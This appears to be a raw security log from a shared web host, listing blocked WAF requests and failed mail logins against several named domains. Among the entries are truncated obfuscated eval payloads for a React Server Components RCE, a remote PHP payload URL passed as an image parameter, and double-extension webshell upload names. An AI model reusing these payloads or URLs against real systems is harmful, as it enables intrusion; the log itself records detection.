2026-07-18 20:25:37 dovecot_plain authenticator failed for H=(ticirort) [12.150.243.22]:34815: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.151.225.23
country_id: 6251999
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ahsmarine/public_html/wp-admin/images/admin.php||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 20.151.225.23
country_id: 6251999
domain: ahsmarine.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/goods.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.151.225.23
country_id: 6251999
domain: ahsmarine.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ahsmarine/public_html/wp-includes/SimplePie||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.151.225.23
country_id: 6251999
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ddgalaxy/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-18 20:29:38 dovecot_login authenticator failed for H=(203-75-170-63.hinet-ip.hinet.net) [122.185.101.50]:40386: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-18 20:29:49 dovecot_login authenticator failed for H=([14.46.58.104]) [188.122.37.97]:47448: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 152.39.242.115
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 buy rare whisky with Bitcoin (<a href=\"https://satowatch.com\">satowatch.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77281328
name: IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)
abuser: 103.245.38.203
country_id: 1643084
domain: yukticlick.com
description:
IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)||MVN:ARGS:plugin||MV:helix3||RF:/index.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.169.236.186
country_id: 1835841
description:
2026-07-18 20:39:16 dovecot_login authenticator failed for H=(187-51-219-26.customer.tdatabrasil.net.br) [121.169.236.186]:55024: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"__c6cfd6ac\":\"6fee9143c4646976\",\"then\":\"$1:__proto__:then\",\"__8cc04885\":0.0,\"$3ae90569\":[],\"status\":\"resolved_model\",\"reason\":-1,\"_response\":{\"_prefix\":\"var ypuj=arguments['\\\\x31'];var slpbg=ypuj;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.42
country_id: 6252001
domain: www.keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.227.131.42||TA:192.227.131.42||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.44
country_id: 6252001
domain: www.keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.227.131.44||TA:192.227.131.44||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.43
country_id: 6252001
domain: www.keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.227.131.43||TA:192.227.131.43||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.45
country_id: 6252001
domain: www.keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.227.131.45||TA:192.227.131.45||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.46
country_id: 6252001
domain: www.keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.227.131.46||TA:192.227.131.46||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.227.131.47
country_id: 6252001
domain: www.keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.227.131.47||TA:192.227.131.47||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.89.39.88
country_id: 1269750
description:
2026-07-18 20:45:01 dovecot_plain authenticator failed for H=(localhost) [210.89.39.88]:55770: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.138
country_id: 1269750
description:
2026-07-18 20:46:06 dovecot_login authenticator failed for H=([98.181.137.69]) [182.95.226.138]:45116: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.80.161.172
country_id: 1835841
description:
2026-07-18 20:45:39 dovecot_login authenticator failed for H=(abts-mum-dynamic-203.76.201.106.airtelbroadband.in) [61.80.161.172]:43771: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.123.86.167
country_id: 1168579
description:
2026-07-18 20:47:19 dovecot_plain authenticator failed for H=(localhost) [223.123.86.167]:3780: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.169
country_id: 1819730
description:
2026-07-18 20:48:52 dovecot_login authenticator failed for H=169.47.246.220.static.netvigator.com ([67.201.57.102]) [220.246.47.169]:58933: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-18 20:49:04 dovecot_login authenticator failed for H=([106.246.89.70]) [102.210.148.41]:39694: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.109.56.161
country_id: 1210997
description:
2026-07-18 20:51:04 dovecot_plain authenticator failed for H=(localhost) [103.109.56.161]:62889: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.77.71.248
country_id: 1269750
description:
2026-07-18 20:53:05 dovecot_plain authenticator failed for H=(localhost) [182.77.71.248]:17982: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.190.169.138
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ec2713004 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 88.235.245.104
country_id: 298795
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:97324.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:38276059881c102ea55ce100862f6515c0bbfe2d||Title:0x2eb11791||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.16.192.32
country_id: 1835841
description:
2026-07-18 21:01:53 dovecot_login authenticator failed for H=(111-70-29-130.emome-ip.hinet.net) [59.16.192.32]:35564: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-18 21:02:18 dovecot_login authenticator failed for H=(102-220-158-10.simbafiber.co.zm) [65.20.217.64]:47074: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 18 21:04:41 vps sshd[2201760]: error: kex_exchange_identification: read: Connection reset by peer


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.120.9.176
country_id: 6252001
description:
2026-07-18 21:04:38 dovecot_login authenticator failed for H=([182.95.106.102]) [70.120.9.176]:52013: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.240.162
country_id: 1269750
description:
2026-07-18 21:04:56 dovecot_login authenticator failed for H=([70.166.167.35]) [152.52.240.162]:35274: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.144.190.205
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:198.144.190.205||TA:198.144.190.205||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.105.15.192
country_id: 6252001
description:
2026-07-18 21:11:04 dovecot_login authenticator failed for H=([112.28.153.193]) [174.105.15.192]:45308: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.162.61.229
country_id: 1835841
description:
2026-07-18 21:11:27 dovecot_login authenticator failed for H=([103.67.152.201]) [121.162.61.229]:62484: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 176.126.111.10
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.32||T:APACHE||SC:/home/ibmcglobal/public_html/b1.png?.php||User:ibmcglobal||WPU:||


plugin: modsec
rule: 77350688
name: IM360 WAF: RCE via thumbnail generator in AcyMailing component for Joomla < 8.5.0
abuser: 176.126.111.10
country_id: 6252001
domain: ibmcglobal.com
description:


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 176.126.111.10
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/b1.png?.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350689
name: IM360 WAF: PHP execution blocked in AcyMailing thumbnails folder
abuser: 176.126.111.10
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: PHP execution blocked in AcyMailing thumbnails folder||MV:/media/com_acym/images/thumbnails/thumbnail_487.png?.php||SC:/home/ibmcglobal/public_html/media/com_acym||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.111.227.52
country_id: 6252001
description:
2026-07-18 21:17:49 dovecot_login authenticator failed for H=24-111-227-52-dynamic.midco.net ([125.19.175.93]) [24.111.227.52]:56848: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.197.107.31
country_id: 6252001
description:
2026-07-18 21:18:11 dovecot_login authenticator failed for H=ool-44c56b1f.dyn.optonline.net (fabfibernet.com) [68.197.107.31]:43286: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.92.51.186
country_id: 1269750
description:
2026-07-18 21:19:18 dovecot_login authenticator failed for H=([184.170.245.145]) [59.92.51.186]:37618: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.129.142.200
country_id: 1835841
description:
2026-07-18 21:19:36 dovecot_login authenticator failed for H=([121.189.226.81]) [125.129.142.200]:54533: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.59.13.196
country_id: 149590
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:58844.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:644f29b434203b2c7a7dd78e6d8e34fd9d5cdae5||Title:0x2ccf4ff0||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.54.0.87
country_id: 3686110
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/audio-solutions-microphones-and-speakers HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.120.106.34
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:172.120.106.34||TA:172.120.106.34||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.151.225.23
country_id: 6251999
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ahsmarine/public_html/wp-content/uploads/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.152
country_id: 1668284
description:
2026-07-18 21:26:37 dovecot_login authenticator failed for H=111-70-11-152.emome-ip.hinet.net (syn-024-097-253-246.biz.spectrum.com) [111.70.11.152]:33128: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-18 21:26:50 dovecot_login authenticator failed for H=(185.255.212.178.ip.karnobat.net) [196.189.59.226]:35125: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77469916
abuser: 111.221.44.12
country_id: 1880251
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcej27101pk.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 111.221.44.12
country_id: 1880251
domain: www.travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceo4ct5dm5.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.215.1.201
country_id: 2635167
description:
2026-07-18 21:28:57 dovecot_login authenticator failed for H=([192.111.134.12]) [88.215.1.201]:44294: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"x_4be7e2cc\":\"idle\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var hig=arguments['\\\\x31'];var pjl=hig;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77469916
abuser: 107.175.126.180
country_id: 6252001
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcel1af0cbb.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 20.230.87.222
country_id: 6252001
domain: cpcontacts.elegantautomotives.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/423_index.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-18 21:45:02 dovecot_login authenticator failed for H=(ipmapt-72-195-34-37.oc.oc.cox.net) [125.23.228.86]:47312: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.71
country_id: 1733045
description:
2026-07-18 21:44:36 dovecot_login authenticator failed for H=(79.223.139.122.adsl-pool.jlccptt.net.cn) [49.124.151.71]:54030: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77093094
abuser: 34.31.88.250
country_id: 6252001
domain: interceptorglobal.in
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"__fd325467\":\"pending\",\"$0c0a3c0c\":0.0,\"status\":\"resolved_model\",\"x_475b2494\":\"a70807210713f0f9\",\"reason\":-1,\"_response\":{\"_prefix\":\"var cliec=[].slice.call(arguments,1)[0];var qvs=cliec;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"f\\\",\\\"fe\\\",\\\"r\\\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.183.228.238
country_id: 1880251
description:
2026-07-18 21:48:46 dovecot_login authenticator failed for H=([109.238.140.87]) [68.183.228.238]:34532: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.59.182.213
country_id: 298795
description:
2026-07-18 21:49:32 dovecot_login authenticator failed for H=([24.249.199.26]) [188.59.182.213]:49300: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.183.58
country_id: 1835841
description:
2026-07-18 21:51:26 dovecot_login authenticator failed for H=([49.124.152.35]) [218.149.183.58]:35480: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.59.20
country_id: 3658394
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-av-solutions HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 142.111.94.33
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://xbymw.com/space-uid-981952.html\">UFABET</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.96.233.67
country_id: 6251999
description:
2026-07-18 22:04:41 dovecot_login authenticator failed for H=208-96-233-67.resi.cgocable.ca ([178.176.250.149]) [208.96.233.67]:39714: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.201.244.162
country_id: 6252001
description:
2026-07-18 22:04:21 dovecot_login authenticator failed for H=f1.roos.com ([182.42.113.10]) [64.201.244.162]:17869: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 163.223.211.27
country_id: 1562822
domain: ddgalaxy.in
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:242702||Sizes:14796||Combined size:14796||User:ddgalaxy||WPU:||Filename:icobbpmpj.zip||Scanned:/tmp//20260718-220528-alurUAppToMZcttUj5jE3wAAAAA-file-Nh1ueT||SC:/home/ddgalaxy/public_html/component||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.223.211.27
country_id: 1562822
domain: ddgalaxy.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:163.223.211.27||TA:163.223.211.27||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.204.60.250
country_id: 1835841
description:
2026-07-18 22:09:14 dovecot_login authenticator failed for H=([101.13.2.182]) [119.204.60.250]:54964: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.100.195.144
country_id: 2661886
description:
2026-07-18 22:15:35 dovecot_login authenticator failed for H=c213-100-195-144.bredband.tele2.se (110-25-112-143.adsl.fetnet.net) [213.100.195.144]:49106: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 114.122.208.150
country_id: 1643084
domain: ibmcglobal.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/JohnFoee/Miaw/refs/heads/main/apa.php||User:ibmcglobal||SC:/home/ibmcglobal/public_html/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.240.162
country_id: 1269750
description:
2026-07-18 22:15:51 dovecot_login authenticator failed for H=(187.058.067.17.static.host.gvt.net.br) [152.52.240.162]:42926: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-07-18 22:16:36 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee ([218.25.94.199]) [83.166.50.15]:40173: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-18 22:16:47 dovecot_login authenticator failed for H=(static.vnpt.vn) [119.152.102.54]:59783: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.240.226.234
country_id: 2077456
description:
2026-07-18 22:16:54 dovecot_login authenticator failed for H=([196.188.187.85]) [220.240.226.234]:49964: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.249.76.219
country_id: 1269750
description:
2026-07-18 22:17:17 dovecot_login authenticator failed for H=([118.113.164.137]) [49.249.76.219]:58610: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 114.122.208.150
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/JohnFoee/Miaw/refs/heads/main/apa.php||User:idealloanzcom||SC:/home/idealloanzcom/public_html/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.127.125.129
country_id: 6252001
domain: mail.ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home/ddgalaxy/public_html/wp-admin||


plugin: modsec
rule: 77350296
name: IM360 WAF: Block access to the shell
abuser: 20.127.125.129
country_id: 6252001
domain: mail.ddgalaxy.in
description:
IM360 WAF: Block access to the shell||MV:/wp-content/plugins/seoplugins/mar.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.127.125.129
country_id: 6252001
domain: mail.ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/wp-conflg.php||SC:/home/ddgalaxy/public_html/wp-content||


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 20.127.125.129
country_id: 6252001
domain: mail.ddgalaxy.in
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/images/stories/admin-post.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.127.125.129
country_id: 6252001
domain: mail.keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home/keralapeople/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.127.125.129
country_id: 6252001
domain: mail.keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/admin.php||SC:/home/keralapeople/public_html/images/admin.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.145.230.192
country_id: 3686110
description:
2026-07-18 22:31:55 dovecot_plain authenticator failed for H=(nogrouvens) [186.145.230.192]:55202: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.126.215.120
country_id: 1835841
description:
2026-07-18 22:33:16 dovecot_login authenticator failed for H=([98.182.171.163]) [220.126.215.120]:39980: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-18 22:35:45 dovecot_login authenticator failed for H=([220.88.50.241]) [182.95.102.190]:57890: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.230.87.222
country_id: 6252001
domain: mail.elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home/elegantautomotiv/public_html/wp-admin||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.151.225.23
country_id: 6251999
domain: travelinbh.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/travelinbh/public_html/wp-includes||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.79.60
country_id: 1819730
description:
2026-07-18 22:40:39 dovecot_login authenticator failed for H=([72.207.33.65]) [65.181.79.60]:51264: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.235.135.119
country_id: 6252001
description:
2026-07-18 22:41:04 dovecot_login authenticator failed for H=140-235-135-119.clik.zone ([182.73.164.228]) [140.235.135.119]:50506: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-07-18 22:41:18 dovecot_login authenticator failed for H=([189.57.9.17]) [65.20.204.88]:36737: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 108.35.129.132
country_id: 6252001
description:
2026-07-18 22:42:23 dovecot_login authenticator failed for H=pool-108-35-129-132.nwrknj.fios.verizon.net ([193.46.192.20]) [108.35.129.132]:47174: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.119
country_id: 1668284
description:
2026-07-18 22:42:27 dovecot_login authenticator failed for H=([149.104.26.130]) [101.13.4.119]:40940: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.79.170.117
country_id: 1835841
description:
2026-07-18 22:42:34 dovecot_login authenticator failed for H=([121.159.92.134]) [61.79.170.117]:55156: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.168
country_id: 337996
description:
2026-07-18 22:48:32 dovecot_login authenticator failed for H=([210.90.216.105]) [196.190.220.168]:60694: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-18 22:48:50 dovecot_login authenticator failed for H=([142.54.228.195]) [1.227.228.131]:39891: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 161.153.13.153
country_id: 6252001
description:
